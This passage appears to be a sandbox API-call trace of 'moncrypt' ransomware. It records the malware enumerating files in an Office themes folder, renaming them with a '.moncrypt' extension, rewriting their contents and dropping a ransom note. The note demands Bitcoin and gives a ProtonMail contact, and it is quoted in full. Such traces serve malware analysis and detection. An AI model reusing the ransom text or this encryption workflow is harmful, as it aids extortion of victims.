cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0053.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0053.076] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.076] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.076] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.076] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.076] GlobalUnlock (hMem=0x440004) returned 0 [0053.076] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.076] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.076] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.076] GlobalUnlock (hMem=0x440004) returned 0 [0053.076] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.076] GlobalUnlock (hMem=0x44000c) returned 0 [0053.076] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.078] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0053.079] CloseHandle (hObject=0x18c) returned 1 [0053.079] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\я")) returned 1 [0053.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 0x54e240 [0053.080] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.080] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.080] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", dwFileAttributes=0x20) returned 1 [0053.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.moncrypt")) returned 1 [0053.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.082] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.082] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x11e37 [0053.082] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.082] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.084] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.085] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.085] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.085] GlobalUnlock (hMem=0x440004) returned 0 [0053.085] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.085] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.085] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.085] GlobalUnlock (hMem=0x440004) returned 0 [0053.085] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.085] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.085] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.085] GlobalUnlock (hMem=0x44000c) returned 0 [0053.085] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.085] GlobalUnlock (hMem=0x440004) returned 0 [0053.085] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.085] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.085] GlobalUnlock (hMem=0x440004) returned 0 [0053.085] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.085] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.085] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.085] GlobalUnlock (hMem=0x440004) returned 0 [0053.085] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.085] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.085] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.086] SetFilePointer (in: hFile=0x18c, lDistanceToMove=73271, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x11e37 [0053.086] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.086] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.086] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.097] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.097] CloseHandle (hObject=0x18c) returned 1 [0053.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.099] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.099] CloseHandle (hObject=0x18c) returned 1 [0053.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0053.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.100] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.100] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.100] GlobalUnlock (hMem=0x440004) returned 0 [0053.100] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.100] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.100] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.100] GlobalUnlock (hMem=0x440004) returned 0 [0053.100] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.100] GlobalUnlock (hMem=0x44000c) returned 0 [0053.100] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a480, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0053.100] GetLastError () returned 0x2 [0053.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.102] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0053.103] CloseHandle (hObject=0x18c) returned 1 [0053.104] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0053.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.104] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.104] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.104] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.104] GlobalUnlock (hMem=0x44000c) returned 0 [0053.104] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.104] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.104] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.104] GlobalUnlock (hMem=0x44000c) returned 0 [0053.104] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.104] GlobalUnlock (hMem=0x440004) returned 0 [0053.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.105] CharLowerBuffW (in: lpsz="RMNSQUE.INF", cchLength=0xb | out: lpsz="rmnsque.inf") returned 0xb [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpUsedDefaultChar=0x0) returned 75 [0053.105] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0053.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", lpUsedDefaultChar=0x0) returned 4 [0053.105] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.105] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.106] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.106] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.106] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.106] GlobalUnlock (hMem=0x440004) returned 0 [0053.106] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.106] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.106] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.106] GlobalUnlock (hMem=0x440004) returned 0 [0053.106] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.106] GlobalUnlock (hMem=0x44000c) returned 0 [0053.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.106] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0053.107] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0053.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\RMNSQUE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0053.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0053.107] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.107] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.107] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0053.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), 